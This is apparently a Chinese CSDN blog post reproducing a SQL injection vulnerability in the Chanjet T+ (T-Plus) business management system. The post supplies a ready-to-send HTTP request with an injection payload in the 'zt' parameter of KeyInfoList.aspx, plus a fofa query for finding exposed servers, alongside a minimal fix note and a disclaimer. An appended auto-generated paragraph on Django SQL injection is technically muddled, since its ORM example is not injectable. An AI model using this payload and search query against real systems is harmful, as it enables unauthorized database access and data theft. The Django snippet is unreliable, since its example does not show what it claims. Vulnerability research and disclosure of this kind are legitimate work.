【复现】畅捷通T-Plus SQL注入漏洞_68

文章讲述了畅捷T+企业管理系统中发现的SQL注入漏洞,攻击者可窃取用户数据并可能进行非法操作。提供了漏洞复现方法、修复建议以及安全搜索提示,同时强调了免责声明和合法使用的重要性。
摘要由CSDN通过智能技术生成

目录

一.概述

二 .漏洞影响

三.漏洞复现

1. 漏洞一:

四.修复建议:

五. 搜索语法:

六.免责声明


一.概述

畅捷T+是用友畅捷通推出的一款新型互联网企业管理系统,T+能够满足成长型小微企业对其灵活业务流程的管控需求,重点解决往来业务管理、订单跟踪、资金、库存等管理难题。

二 .漏洞影响

        攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。甚至拿到服务器权限。

三.漏洞复现

1. 漏洞一:

(1)漏洞类型:  SQL注入

(2)请求类型:GET

(3)复现

找到相关系统


请求漏洞点,查看burp响应


burp请求包

GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','1234')))--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

四.修复建议:

对变量做好过滤和检测。

五. 搜索语法:

1.fofa

app="畅捷通-TPlus"

六.免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

Django是一个流行的Python web框架,它对SQL注入攻击有一定的防护机制,但如果防护不当或用户输入验证不足,仍可能发生SQL注入复现一个Django SQL注入漏洞的环境通常需要以下几个步骤: 1. **安装Django**:首先确保已经安装了Python和pip,然后通过`pip install django`命令安装最新版本的Django。 2. **创建项目**:运行`django-admin startproject myproject` 创建一个新的Django项目。 3. **创建应用**:在项目目录下,进入`myproject`并创建一个应用,如`cd myproject && python manage.py startapp vulnerable_app`。 4. **模型设计**:在`vulnerable_app/models.py`中创建一个表单或模型接收用户输入,例如: ```python from django.db import models class UserInput(models.Model): user_input = models.CharField(max_length=200) ``` 5. **视图处理**:在`views.py`中编写一个处理用户输入的视图,可能未正确过滤或转义输入,比如: ```python from .models import UserInput def input_view(request): user_input = request.GET.get('input') # 这里假设直接将用户输入插入数据库,未做安全检查 UserInput.objects.create(user_input=user_input) ``` 6. **URL配置**:在`myproject/urls.py`中添加URL映射到上述视图。 7. **启动服务器**:运行`python manage.py runserver`启动Django开发服务器。 8. **尝试注入**:在浏览器中访问`http://localhost:8000/input_view?input=<your-injection>`,其中 `<your-injection>`是你想尝试注入的SQL代码。 复现环境部署后,关键是要注意识别和修复那些可能导致注入的安全漏洞,例如使用`django-filter`、`django-model-utils`等库提供的安全查询替代手动拼接SQL,或始终对用户输入进行适当的清理和验证。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

穿着白衣

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值